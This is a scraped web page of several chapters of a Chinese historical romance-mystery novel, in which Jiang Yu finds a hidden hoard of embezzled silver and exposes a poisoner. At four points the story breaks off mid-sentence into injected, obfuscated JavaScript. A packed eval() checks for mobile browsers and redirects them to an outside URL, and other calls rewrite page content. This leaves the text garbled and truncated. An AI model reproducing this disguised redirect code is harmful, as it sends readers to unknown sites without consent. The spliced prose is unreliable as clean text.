听言午讲,江瑜已经许久没再与赵承昱暗中通信,应是断了来往。江涣之连日来被诸事烦心,这是唯一一件让他心中熨帖的了。他笑着应了,缝着江水和小鱼的香囊挂在腰间,也跟着晃了晃。 …… 果然,北漠使臣很快就做好了回程的准备。清晨,车队浩浩荡荡地集结在城门外,太子携着一众大臣亲眷前来相送。兴许是怕路上再生事端,璟和帝临时授予赵承昱任鸿胪寺少卿之职,让他一路率军护送。 江瑜和一众女眷也来了,一道站在城门上。旁边的徐绫小声道:“可算是走了,上回那从天而降的铁锤真是把我吓坏了,过了这么久还没缓过来呢。” 江瑜深以为然地点了点头,她也盼着北漠使臣能早些走。 下方的赵承昱身着甲胄,骑着马从列队的末尾行至最前,等整兵列队完毕,他上前对太子道:“表兄,下谕令吧。” 北漠既已向大夏称臣,那么璟和帝自是不必时时出面,太子能来已是莫大的面子了。阿史那图尔面朝皇宫的方向跪下,对着未来的储君叩首揖拜。 临行前,赵承昱忽然抬眼,越过重重人群,望向城墙之上。他几乎是一眼就看见了江瑜,想到会有一段时日不能再见到她,他心中难免酸楚……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742887|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江瑜原本也在看使臣的队伍,视线陡然间交错,她很快移开了目光,从城墙上退出去,想去找江涣之。 江涣之正同孟昭宛站在一处。平日宴会女眷总是不与父兄同席,孟将军也不在京城,他寻不到上门拜访的由头,今日这样的场合总归没那么多规矩,江涣之没怎么犹豫地走了过去。 远远看见江涣之过来,孟昭宛朝他欠了欠身,低眉敛目道:“见过苍冥将军。” “不必多礼,”江涣之温声道:“孟将军近日身子如何了?可有回信?” “回将军,家父回了信,说是身子还好。就是年纪大了,难免有些力不从心,不过对付那些倭寇还是绰绰有余的。” 孟昭宛悄悄抬眼,觑了觑这个声名在外的苍冥将军。江涣之在云州有“玉面阎罗”的称号,为人也一向肃然淡漠,很少像这样主动与人接近,孟昭宛难免生出几分紧张。不过转念一想,大抵是武将之间惺惺相惜,江涣之心里记挂着孟将军吧,看来他也不像面上那般令人望而生畏。 江涣之也在暗自打量孟昭宛,几句话之间,他就有了决断。她不是画舫里的女子。 江涣之闻言一笑,“那就好,下次回信替我向孟将军问个好。” 原来江涣之也会笑啊,这竟是孟昭宛的第一反应,她不禁多看了两眼,连有人过来都没注意到。 江涣之看向江瑜:“你怎么过来了?” “队伍都出城了,我过来问你回不回府,若是要回的话我们就一起。”江瑜嘴上答着江涣之的话,眼睛却直往孟昭宛身上瞧。 孟昭宛这才回过神,笑着唤了一声:“江妹妹。” 江瑜理也没理她,目光却始终没有挪开,她很显然听到了。 江涣之不知江瑜在闹哪门子脾气,只觉她这样实在不合礼数,于是轻咳一声,语气也重了些,“注意礼数。” 江瑜被他这么一提醒,才不情不愿地收回视线,行了个礼道:“孟大小姐。” 回府的路上,江瑜坐在马车里,江涣之还与往常一样,骑着马勒紧缰绳,故意慢行在她旁边。然而这次江瑜将马车帘子放下了,坐在里面一声也不吭。 “有人惹你不高兴了?”江涣之的声音隔着帘子传过来,“你让我与你一道回府,路上又一句话不说。莫非在生我的气?” 江瑜猝不及防地被点破心思,索性道:“我就是在生你的气。你平日那般目中无人,管教起我来却头头是道。看来你和那些人一样,满口都是规矩礼教,陈腐,古板!” “我是你兄长,管你不是天经地义么。”江涣之觉得江瑜这通脾气发得实在没道理,再说了,他要是不管,这世上也没人管得了她了。 江瑜还是一言不发,像是打定了主意要抗争到底。不过片刻之间,江涣之的心思也跟着转了几转。是他做得太过了?刚把江瑜接回江家时,他分明还对娘亲说不要管教她规矩,怎么最后反倒是他食言?就算要管,那至少也不该当着外人的面,女孩子脸皮薄,哪里经得起他那么说? 马车刚转过一个街口,忽然又传来江涣之的声音:“那我给你赔个不是,以后再也不这样了。” 没过多久,江瑜掀开了帘子,看上去像是消了气。她问道:“你方才在与孟家小姐说什么?” 江涣之不答反问:“你问这个做什么?” “看你们有说有笑的,是不是在聊什么好玩的事?” “没什么,就是说了几句战场上的事。”江涣之回得模棱两可,思绪也逐渐飘远。他不禁想,既然那人不是孟昭宛,那还会是谁呢。神秘女子给他的字条还保留着,他想,再查不出来的话就把各家家小姐的文墨都搜罗过来,一一对比总能找出字迹相近的。 21. 第 21 章 京城的某处客栈,采薇、香云和琴心刚用完饭,正百无聊赖地投掷着几个果核打发时间。 连日来,她们不敢出门,就连每次小二来送饭也只是按江瑜吩咐的那样将食盒放在门口。 香云年纪最小,耐不住寂寞,话也最多:“余小姐说没说下次什么时候来看我们?不对,我们是不是该叫她江小姐了?” 琴心已经告诉了她们二人,最初的余公子不仅不是公子,就连姓也是假的,她不姓余,姓江。是那位大名鼎鼎的苍冥将军的妹妹。 “可下次见面直接叫江小姐好像也不太好,毕竟她还没有重新向我们介绍过自己。”香云看向琴心,“我们到底该怎么叫她?” 琴心放下手里正在纳的鞋垫,看了看在往上抛掷果核玩的采薇,开口道:“其实,我一直在想……我们真的要把命运交托给江二小姐,听她的话乖乖躲在这里?” 采薇放下了手里的果核,香云也怔怔地看着琴心:“你不相信余小姐?可是她帮了我们,还说到做到,把你也送了回来。” “我不是忘恩负义之人,只不过……那毕竟是江家。江二小姐的出身就注定了她绝非等闲之辈,我有些害怕。更何况我们如今已经知晓了她的真实身份,这对她来说是个祸患。”琴心见过太多被利用完就赶尽杀绝的例子,她咬着唇,问道:“采薇,你怎么看?” 采薇垂着眼眸,半晌后才道:“龟三爷多半已经死了,杀他的大概就是余小姐。我同意琴心的话,余小姐绝非面上看着那样简单。” 香云看看琴心,又看看采薇,一时间竟有些委屈:“连你也觉得她不是好人?” “我没有觉得她不是好人,恰恰相反,我认为生来就拥有一切的人却怀有赤诚之心才最难得。”采薇道:“可也正是因为这样,我们不应该拖累她。” 小小年纪就被迫在烟花之地摸爬滚打,她们早就见过了太多的贪嗔与痴恶,理应保有超出常人的、对于危险的警觉,以及出于自保的敏锐。 听完采薇的话,琴心反倒松了口气,“那这么看来,我们最终的想法都是一样。香云,你也快些做决定吧。” 香云依旧是左看看,右看看,虽然并不很理解,但还是很快道:“我跟着两个姐姐,你们去哪,我就去哪。” …… 与此同时,在瑜园,江瑜正坐在书房吃梨。前院的梨树结果结得晚,都快到岁末了才结出两筐香梨,一筐给了江夫人,一筐送到了瑜园。 江瑜一边吃着梨,一边还在研究桌上的一个物件——采薇身上的那件肚兜。 自从画舫那一夜之后,江瑜只要得了空就翻来覆去地拿着看,生怕自己还错过了什么。看着看着,江瑜道:“这个花样的确不多见。这样隐蔽的交流方式,他们应该不会只用一次吧?” “小姐的意思是想找琴心,或是采薇拿更多的衣服来瞧?”玉影问。 江瑜摇了摇头,“我想去追查源头,也就是缝制衣物的铺子。” 江瑜以前也让琴心她们回想过还去过哪些人的府邸,可大概是出于迷药的作用,她们都想不起来。每回都坐着马车被送进送出的,没能观察到宅邸的情形也实属正常。 “可传递消息的媒介已经断在了小姐这儿,对方一定会有后招应对。即便真的有这样的铺子或绣娘存在,恐怕也已经被清理了。” “但这件事是被安在了哥哥头上。”江瑜道:“哥哥是男子,手底下办事的人也都是男子,万一对方顾及到这一点,认为从这个路子查起来多有不便,所以并未销毁证据呢?” 玉影都快被江瑜的话绕晕了,“依小姐的意思,还是想去查查肚兜的来源?” “嗯……”江瑜站起身道:“就当出门逛逛了。” 江瑜还是先去了一趟徐府,轻车熟路地从徐绫房里走到外面的街巷。她本身没抱太大的希望,只一路走走逛逛,看见喜欢的就买下,还顺便给玉影和翠竹置办了两身暖和的冬装。 主仆三人逛得悠闲,还在路上买了点心,一起分食一盒桂花糕。路过一家不太起眼的衣裳铺子,翠竹站在外面瞧了半晌,道:“婢子觉着这家店的样式就有些像采薇姑娘身上那件。” “那就进去看看。”江瑜一步迈了进去。 掌柜笑吟吟地出来招待,江瑜随手抄起一张纸,在上面勾勒出一幅图样,“能不能做这样的衣裳?” 掌柜仔细看了看,回道:“这个做不了。” “是么,”江瑜有些狐疑地道:“不用去后头问问绣娘?万一有能做的呢?” “那我去后面问问,客人稍等。”说罢,他欠身退了出去。 不大的铺子里只剩下了她们三人,玉影环顾四周,低声问:“小姐,若是能做一样的衣裳,是不是就能确定采薇姑娘身上的衣物出自于这家?” 江瑜没说话,而是望着墙上的衣料出神。就在她陷入沉思的时候,后院忽然传来一声响动,像砖瓦掉落在地的碎裂声。 玉影反应最快,人已经飞身掠了出去,江瑜紧随其后,正好看见掌柜翻过院墙,仓皇而逃的身影。 “这下能确定了。”江瑜咬起牙,“玉影,赶紧追!” 玉影一路穷追不舍,江瑜驮着个不会武的翠竹跟在后面,在无数瓦舍屋檐上翻飞腾挪。玉影轻功已是上乘,奈何那掌柜对周遭环境了然于胸,常常从一个小巷钻进一间屋子,又从一道门廊冲到另一个墙头。当真是狡兔三窟。 不过一错眼的工夫,玉影从一处窄巷中追出来,面前忽地出现了两个一模一样的胡同,而前方的人已经不见了踪影。 玉影一时反应不及,等江瑜到的时候才躬身请罪道:“属下跟丢了,不知进了哪个胡同。” “他大概是故意将你引到此处,这里的地形适合脱身。”江瑜放下翠竹,轻叹道:“罢了,这也怪不得你。” 她站在原地,四处打量了一番,发现虽然她们还在京城,却身处在一个全然陌生的地方,附近四通八达,但尽是旮旯夹道,墙边还因冷清而长满了青苔。 “这是哪里?”一路追赶,江瑜早已不知自己置身在何处,她难免有些慌张:“我们该怎么回去?” 玉影飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753808|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身站在了高处墙檐上,指着一处道:“小姐,可往那边走。” 江瑜带着翠竹往玉影手指的方向走,许久过后,在行至一处分岔时,她忽然停住了脚步,朗声问还站在高处的玉影:“旁边这条路通向哪里?” 玉影抬眼望去,回道:“小姐,那是条死路。” 江瑜低笑一声,“这就奇怪了,通往外街的路上杂草丛生,这条思路上却异常干净,反倒像是常有人走动。” 听江瑜这么一说,玉影也觉出不对来,“方才追逐时,掌柜若要把我往那条路上引,分明也有更近的路线。他却舍近求远,绕了一大圈。” 见江瑜当真要往那条死胡同走,玉影连忙落了地,劝道:“小姐,不可。多半是陷阱。” 可能是陷阱,但也可能掩藏着一个秘密。江瑜还是抑制不住地往前走去,“你放心,我心里有数。” 前方没有路,江瑜走到一处被疯长的植被所遮盖住的一处墙垣前,拨开那些枝垭,里面果然别有洞天。那是一条极窄极矮的路,江瑜弯着腰才能勉强进入,没走几步,前方出现了一道暗门,通往地下。 玉影挪到最前面劈开了门锁,一道死气沉沉,充满腐朽的气味从地下传过来。江瑜顿了顿,还是抬脚走了进去。 地道暗无天日,玉影点燃了一道火折子,有意将火光离江瑜远了些。还没等眼睛适应这突如其来的亮光,只听一声惊叫,玉影被吓得跌坐在地,她指着远处一具枯骨,颤声道:“那是人……人的尸骸。” 玉影注意到墙上有挂着的蜡烛,她走过去点亮几处烛灯,将手里的火折子吹灭。地底骤然变得亮堂,江瑜发现这实则只是一处密室,四面都是密不透风的砖墙,藏不了什么秘密,反倒像个专门折磨人的地方。 玉影越看越觉得渗人,她道:“小姐,此地不宜多留,我们还是走吧。” “好。”江瑜朝翠竹伸出手,“我们走。” 翠竹握住江瑜的手,可还是觉得腿软,几次都站不起来。情急之下,她另一只手往地上撑去,无意间碰到了一处凸起,“轰隆”一声巨响,整个密室都颤动了起来。 玉影和江瑜都以为触发了暗器机关,同时举起刀剑,可想象中的暗器没有出现,反倒是金光一闪,无数金银出现在了她们面前。 原来整面墙都是可以活动的门,此刻它被移动到了一侧,也就让另一间更隐蔽的密室显露了出来。江瑜也是见过宫里那些奢华做派的,可如此数量庞大的钱财还是让她震惊得说不出话来。数不胜数的金银整齐地摆放着,哪怕说一句这就是国库也不为过。 最初的惊愕过后,江瑜粗略估算了一番,认为这里至少有数百万两银子。 “怎……怎么会这样,”事发突然,玉影看得都不敢眨眼了,“我们该怎么办?” 如此多的钱财,就算是让她们三个人连夜往外搬,可能都得搬个十天半个月。 “这般见不得光,还不知是从哪里搜刮来的民脂民膏。”江瑜深吸了一口气,她道:“玉影,你去把蒋义如叫过来,就说有个大功等着他来立。” 22. 第 22 章 玉影不愿意走,她摇着头道:“既然这是个保存钱财的据点,那定不会全无防范。我一走,翠竹又不会武,我断不会独留小姐在这里。” “就算是通风报信也要时间,他们不会这么快就赶过来的。”江瑜语气坚定:“你快去,记得让蒋义如通知一队官兵。你一路使着轻功,快去快回就来得及。” 玉影看着江瑜,一狠心,毅然决然地转身奔了出去。 地底密室重回寂静,江瑜坐在地上,与翠竹靠在一起,两人沉默无声地等待着玉影的归来。 不多时,外部传来了一阵窸窸窣窣的响声,江瑜站起身,握住了袖中的匕首。 玉影应该不会回来得这么快,果然,在短促的脚步声之后,掌柜的脸出现在密室门口。他在逃跑之后去而复返,躲在外头观察了一阵,断定唯一一个会武的丫鬟已经走了,剩下两人都是手无缚鸡之力的深宅小姐,于是他决定杀个回马枪,来个瓮中捉鳖。 一旦把这两个人解决了,再按下机关,这里就又会变成空空如也的密室,噢,不对,还会多两具白骨。 “看见地上那具骸骨了么,那就是你们的下场!” 先前还笑容可掬的掌柜已经全然换了副嘴脸,他凶神恶煞地朝着她们步步逼近,江瑜转动手腕的袖箭,一发箭矢破空而出,钉在了来人的手臂。 “你……会武?”掌柜捂住手臂,忍住剧痛,神色惊骇。 不等对手有下一步动作,紧接着是第二发、第三发……江瑜出手,无一箭虚发,全都狠狠扎进了对方身体里,让人皮开肉绽。随后近身,抄起一把匕首,行云流水地把掌柜身上的武器卸了下来。 玉影带着蒋义如赶到时,江瑜正在将人五花大绑。蒋义如先是一惊,后来被满室的金光闪了眼,再定睛一看惊得下巴都快掉了。 “这人是谁,这里怎么会有这么多金银?”蒋义如一时都不知该从何问起了,“我向府衙呈请了一队官兵,人快到了,你是不是该避避?不过……这究竟是怎么一回事?” “蒋主事,”江瑜绑好人站了起来,“你手头上会不会刚好有几件案子在查?” “这倒是……”蒋义如道:“有女儿私奔的,还有家里小厮突然横死的。” “那就随意将此事安在某件案子上,就说在查案途中意外发现了此地。人证物证都在这里了,这人嘴里能吐出什么证词也全由你决定。”江瑜快速交待了几句,又道:“另外,我还有一件事需要你帮忙。” 蒋义如连忙拱手道:“二小姐但说无妨。” “有几个青楼女子……我想让你帮我给她们赎身,我不太方便出面。人就在京郊客栈,我会让人与你在此地会合。” 蒋义如记下地点,抬手又是一礼:“在下定将此事办妥。” 临走之前,江瑜回头看了一眼,只见蒋义如面对满室金银,脸上竟全是义愤填膺。她原本还担心他在见到如此多的钱财后会不会心生贪欲,如今看来,他当真是两袖清风,志存高远。 “对了,”蒋义如忽然叫住了江瑜,他不无担忧地道:“此事非同小可,可我的官职太小,我担心事情会被上头的人压下来。” 江瑜还没忘,蒋义如的顶头上司就是嫌疑颇重的梁行章,她默了会儿,道:“你放心,我会把这件事闹大,让你多一个不好惹的同盟。” 追随着蒋义如留下的信号,官兵很快就会赶来。江瑜不再多言,对着蒋义如点了点头,带着玉影和翠竹匆匆离开。 马不停蹄地回到徐府,再坐着马车回到江府。江瑜一刻不停地来到书房,准备提笔写信。 她回想起那天在画舫时所用的字迹,走笔游龙地写下几行字,大致交待了事情的经过,说刑部有个主事查抄了一处金库,可他人微言轻,还望公子能助其一臂之力。至于金库真正的主人是谁,她暗示得似是而非,点到即止。 末了,她在落款处画了一艘小船。 “小姐莫非还打算继续以画舫女子的身份与大少爷往来?”玉影有些惊讶地问。 “当然了,这个身份多方便。”江瑜仔细将信件封口,补充了一句:“而且还特别好玩。” 江瑜就是喜欢这样与江涣之明里暗里地躲藏,假装成另一个人与他有来有往。他对那日出现的画舫女子好奇极了,也提防忌惮极了,可这也意味着他不再是一个兄长或长辈,而是在一个势均力敌的状态下与她交手。 江瑜不喜欢江涣之把她当妹妹,更讨厌被当作需要保护的小孩,所以她才会这样痴迷于去扮演另一个人。 江瑜暂时还没工夫去深究其中的另一层含义,她只是觉得好玩,一切的出发点也都只为了好玩。看向不知怎地拧起眉的玉影,她把信笺递过去,“不会有事的。你用一发最普通的箭矢把信掷进哥哥的书房,钉在柱子上就行。” 玉影很快就办完事回来。江瑜特地坐在瑜园小楼的顶层,以手支颐,远远望着前院,好整以暇地等江涣之回来。 快要日落的时候,一匹快马停在了江府门口。江涣之身量颀长,气质斐然,出现的时候很是显眼。他脚步匆匆地走进前院,边走还边在跟迎上前的言午交待着什么,看上去很忙碌的样子。 经过书房的一刻,江涣之身形一顿,目光落在了柱子上一发的羽箭上。言午也随之停下,顺着江涣之的目光看去,他心惊胆颤地往下一跪:“属下疏忽了,府中什么时候进了刺客也不知。” “不是刺客,那人也并未进到府中。既然连暗卫都没发现,那么箭一定是从外头射进来的。”江涣之信步走上前,拽住箭尾,狠狠往外一拔。 箭尖插得极深,若是从府外拉弓,那人功力想必实在高强。言午推测出方向,请命道:“属下这就去追。” “不必了。”江涣之拿着那道信笺,“人早跑了。” 他走进书房,心中忽然有了一个猜测。在划开信封,熟悉的字迹进入眼帘时,江涣之并不惊讶——果真是她。 细细读完信上内容,江涣之的目光落在了最后那艘小船上。此人身份依旧成谜,但她的态度却始终都很明确,那就是想帮他,也传递出了与他站在同一战线的意思。 立场相同,于是主动想结成政治盟友?江涣之的心思百转千回,那若是此人下回开出什么条件,让他出力,那他该答应还是不答应呢? 江涣之承认他欠过一个人情,理应回报。可他很不喜欢这样你暗我明的情形,你对我了如指掌,我却对你一无所知,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769975|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要结成盟友,那也该是在开诚布公的条件下。除非……那人身份极为敏感。 再联想到她消息神通,武力也不凡,江涣之不禁猜想难道是宫中之人,会不会是宫里的某个公主? 江涣之对璟和帝的那几个公主同样印象不深,只依稀记得年岁都不大,若要与画舫那日匆匆一瞥的身影对照,似乎也对得上。 很快,江涣之收起手中信纸,放进匣子里。他不再考虑其它,而是专注思索起信上的内容——一笔来历不明、数目巨大的赃款,要说跟那位传说中的梅公子无关,他一百个不信! 走出书房,江涣之道:“言午留在府中,陆山,陪我去一趟刑部。” 脚下生风地踏进刑部,尚书梁行章迎了出来,他哈着腰道:“哪股风把苍冥将军给吹过来了?大人金尊玉贵,真是令此地蓬荜生辉。” 江涣之根本不吃他这套,拨开人就往里走:“说到金……梁大人可有闻到一股金子的气味?” …… 此刻在江府,江瑜托着下巴笑个不停,就连吃饭的时候都觉得今晚的饭菜特别合胃口。 入了夜,江瑜照例拿着弓箭和匕首到院子里练武。没过多久玉影进来汇报:“小姐,听说宫里可热闹了。成箱的金银财宝一件件地往里搬,蒋主事在文武百官面前露了个大脸,圣上对他大加赞赏,说他办事得力,充盈了国库,简直是大大的功劳!” 江瑜笑着收回匕首,问道:“那个梁行章表现如何?” “梁大人身为刑部尚书,正一件件地清点着赃物,看不出什么端倪。” “那其他人的表现呢?有没有特别反常,或是一看就心里有鬼的?” “这属下就不知了。”玉影回道:“不过大少爷也在场,他定会从旁观察试探,小姐大可以放心。” 今日之事实属意外之喜,江瑜练完武,心满意足地沐浴入睡。一想到那笔钱财里说不定还有当年范阳的赈灾款,江瑜心里又说不清是什么滋味,有些轻松畅快,也有些为父亲枉死的不甘与愤懑,总之很五味杂陈。 难得一夜无梦,第二日江瑜刚起床,正好看见急匆匆走进来的玉影。 “出什么事了?”江瑜的声音还有点哑。 “小姐,客栈那边出事了。”玉影禀报道:“蒋主事记挂着小姐交待的事,一大早得了空就去客栈想替三位姑娘赎身,没想到刚与我们的人碰面,就发现姑娘们不见了踪影。” “不见了?”江瑜浑身一震,“是谁那么大的本事,居然能神不知鬼不觉地将人劫走?” “人并非是被劫走的。”玉影道:“那两名暗卫为保护三位姑娘的安全,一直都严防死守外面的人,对房里的情况反倒不怎么防备。据暗卫说,没有劫匪,三位姑娘只可能是自己逃了。” “逃了……那她们能逃去哪?”江瑜怔了怔,“既要逃亡总少不得要花钱,总不能是回青楼了吧?” 话一出口,江瑜自己都是一惊,如今这个关头回青楼,那不是自投罗网么? 江瑜连忙起身穿衣,“快,我们得赶紧去青楼。” “那,小姐是穿男装还是女装?” “顾不得那么多了!”江瑜随手拿过一件襦裙穿上,“快走。” 23. 第 23 章 琴心三人是前一晚半夜逃走的,正如玉影所说,江瑜派来的两名暗卫只顾着防范外人,做梦也不会想到里面的人会主动逃走。 趁着夜色,她们的出逃异常顺利,待回到熟悉的青楼时已经天亮了,周遭逐渐偃旗息鼓了下来,姑娘们沉沉睡去,一切都万籁俱静。她们看准时机潜了进去。 “我们真的不赎身了?”香云忍不住问。一日不赎身,那她们就一日还是奴籍。世道艰难,又该如何求生? “事到如今,只能走一步看一步了。”琴心道。她们悄悄溜进了二楼房里,将之前藏好的那些首饰和银票都塞进怀里,刚走出来,远远看见蕙娘正在楼下清点账目,于是又折返回去,躲进一处拐角,三人齐齐屏息凝神。 好不容易等蕙娘走了,琴心拽了拽两人的衣袖,小声提醒道:“快,趁现在。” 可身后两人都没动,琴心一回头,看见采薇和香云怔怔地望着一处,隔着窗户,床上躺着一个人。 采薇抱着妆奁,吸了吸鼻子,带着些哭腔道:“我看见小琪儿了。” 小琪儿病了。其实她已经病了好一阵子,整日卧病在床,一点也不见好。本就瘦弱的身躯躺在房中,一日日地枯槁了下去。 同为龟三爷手底下的人,小琪儿年纪最小,但除了不用接客之外,她干的话一点不比其他人少。既要学琴棋书画,还要干青楼里的杂活,就连服侍姑娘们也是她。她不敢偷懒,更从不埋怨,平日里她们三人都心照不宣地会照顾些小琪儿。 可若是从此一病不起,青楼可不会白养着一个废人,小琪儿的命运可想而知。但她们自身都难保了,更不可能还带着一个病人逃亡。 香云最先开了口:“我们去看看她吧,就看看。看完就走。” 小琪儿住的屋子最靠里,因着病情,许多人都怕被传染,并不敢靠近。她们三人很轻易地走进去,来到了小琪儿的床榻前。 床上的小琪儿一动不动,虽然不知她究竟患的什么病,可不论任谁看了都明白这已经是病入膏肓了。采薇一连唤了几声,小琪儿都毫无反应,嘴唇苍白如纸。 说不清是谁最先哭的,很快,她们仨就都哭成了泪人儿,互相牵着手,连打气的话也说不出来。 等江瑜带着玉影赶到时,看到的就是这样一幅画面。床上躺着一人,其余三人都背对着她,哭得泣不成声。 令人意外的是,谁也没有对她这个不速之客的突然闯入而陷入惊惶。香云回过头,像是对江瑜的到来并不意外,她哭着道:“余小姐,小琪儿她……是不是已经死了?” 玉影立即上前,将手放在小琪儿的鼻息下,过了几瞬,她道:“回小姐,人已经断气了。” 江瑜一时间又惊又怒,她本来只想将三人追回,没想到置身险境的反而另有其人。她眼风一扫,看见桌上放着碗汤药,还剩了些沉底的药渣。 她抬手拿起,碗底还有些温热,看来刚喝完不久。江瑜走到窗边,树梢上正有只鸟儿在扑腾,她一把抓回来,将尖尖的鸟喙放进去。不一会儿,鸟儿就再也扑腾不起来了,江瑜松开手,鸟翻着肚皮,渐渐不再动了。 又是下毒,江瑜闭了闭眼,他们竟会这般赶尽杀绝……龟三儿已经死了,那么下毒之人会是谁呢。 “我问你们,进来之前有没有看到是谁把药送进来的?”江瑜问。 三人都摇了摇头,进来的时候药碗已经空了,早上大家纷纷睡下,就连蕙娘也在算账,实在想不出会是谁。 只要想到小琪儿会成为下一个富商,江瑜就无法做到善罢甘休。她绝不会放过那个下毒之人! “那人一定还没走远。”江瑜咬牙道,她忽然打开门,步伐极快地走了出去。 外面天光早已大亮,日头正盛,江瑜往前疾行出数步。她一路都在四处张望着,心里快急出火来了,可实际情形却是两眼一抹黑,她连下毒之人的身型体征都不知道,又该如何找起? 她渐渐走到人头攒动的大街上,目之所及到处都是人,有挑着扁担上街售卖的小摊贩,有酒楼的小厮开门出来揽客,也有卖小吃的大娘在吆喝。江瑜不敢眨眼,她不会放过任何一个可疑的人。 或许身上会沾有血迹?不,下毒怎么会见血。那会不会受伤,或皮肤上有抓痕?也不对,小琪儿已经病了一阵子,她都虚弱成那样了,哪里还有力气与人打斗? 就在这举头无门之际,身旁的玉影忽然“咦”了一声。 “怎么了?”江瑜问。 “天底下竟有这样巧的事。您瞧,那个穿着布衣的矮胖男子就是刑部尚书梁大人的侄子,叫姚茂林。”玉影伸手指去,那人正站在簸箕面前,挑选着冬苋菜,看上去与寻常行人无异。 “你相信世上会有这样巧合的事么?” 玉影愣了愣,一时不明白江瑜话里的意思。 “我不信。我偏要赌一把。”说完,江瑜竟径自朝那矮胖男子走去,伸手扣住了他的肩膀。 就在玉影还摸不准江瑜是何用意时,下一刻,自家小姐竟拽着姚茂林当街哭喊了起来,她嘶声道:“你这个恶人,杀了我的丫鬟还想跑!自小跟我长大,情同姐妹的丫鬟就这么没了,我要去报官!” 姚茂林猝不及防被人拽住衣角,他挣脱不开,还没弄懂怎么回事,身边就聚集起了许多人。他慌乱不已,听得这人嘴里还哭嚎着什么杀人,丫鬟一类的词,他一个字都听不懂。 “这位姑娘,你先放手。”姚茂林手忙脚乱地想挣脱,“你到底是谁,我不认识你,更不知道你口中的丫鬟是谁。” “我的小琪儿,你死得冤啊——我就不该带着你回江家,没想到你会遭此毒手!” “江家?”围观的百姓一听,惊讶道:“莫非是苍冥将军的妹妹?” “京城里还有几个江家,定是江二小姐没错了。”另一人道:“真是可怜,身世已经那样凄苦了,自小一起长大的丫鬟又被奸人所害。” 还有一人道:“不过苍冥将军可不是好惹的,他定会替自家妹妹讨回公道。” 姚茂林脸上莫名被啐了一口,还没等他看清是谁干的,官兵就已经赶到了。 有人去报了官,涉及到命案,其中一方还是江家,谁也不敢怠慢。两名官兵一左一右地上前押送起嫌犯,江瑜此时才终于放开了手,哭哭啼啼地跟了上去,后面还跟着一大群看热闹的百姓。 到了顺天府,府丞升堂办案。姚茂林和江瑜一跪一站,堂外围观的百姓围了里三层外三层,此刻全都默不作声,静静等着审案。 府丞起初觉得很是棘手,这桩案子来得遽然,什么人证物证都没有,偏偏还涉及了官家贵女,又闹得这么大,实在让人无从下手。 然而等江瑜开口陈情了,众人才发觉案情其实很简单明了。她讲话条理分明,先是讲述了一番自己与小琪儿之间的主仆情深,随后话锋一转,说小琪儿花容月貌,引得此人起了歹心,引诱不成,就因爱生恨,偷偷潜入府中给她下毒。 姚茂林听得云里雾里。什么江家二小姐,什么潜入府中,他的确进青楼送一个叫小琪儿的丫头上了最后一程,可她不是青楼女子么?怎么摇身一变成江家的丫鬟了? 府丞将手里的惊堂木重重一拍,厉声道:“姚茂林, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786429|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本官问你,可认识这个小琪儿?” 姚茂林自然认识,可他总不能直接否认这人并非丫鬟,而是青楼女子……否则他该如何解释为何会认识她,下毒一事还是瞒不住。顶着无数人的目光,姚茂林硬着头皮道:“草民不认识。” “府丞大人。”江瑜朗声道:“小琪儿尸骨未寒,可让仵作验身,证实中毒确有其事。” 府丞当即应允。不多时,玉影背着小琪儿进来,仵作当场验过之后,呈奏道:“的确是中了毒,应是今早身亡的……此毒可以假乱真,伪装成病逝。” 听闻此话,江瑜不禁再度落泪。她抬手揖道:“还请府丞大人彻查此事!此人或许还私藏着剩余毒药,望大人能派兵去他府上搜查,应该能搜出证据。” “不行!”姚茂林急吼出声。他如今住在梁府,怎么能让官兵去那里搜查?“草民也有人证,可传他上堂。” 府丞问:“那人是谁?” 姚茂林已经汗如雨下,他低垂着头,心想万万不可将姨夫攀扯出来。他情急之下说出了一个名字,“我这个朋友常混迹于赌坊,应该能在那里找到他。” 没过多久,这个所谓的“人证”被请了过来,那人一看见地上的小琪儿,当即道:“这不是青楼里的小琪儿么?” 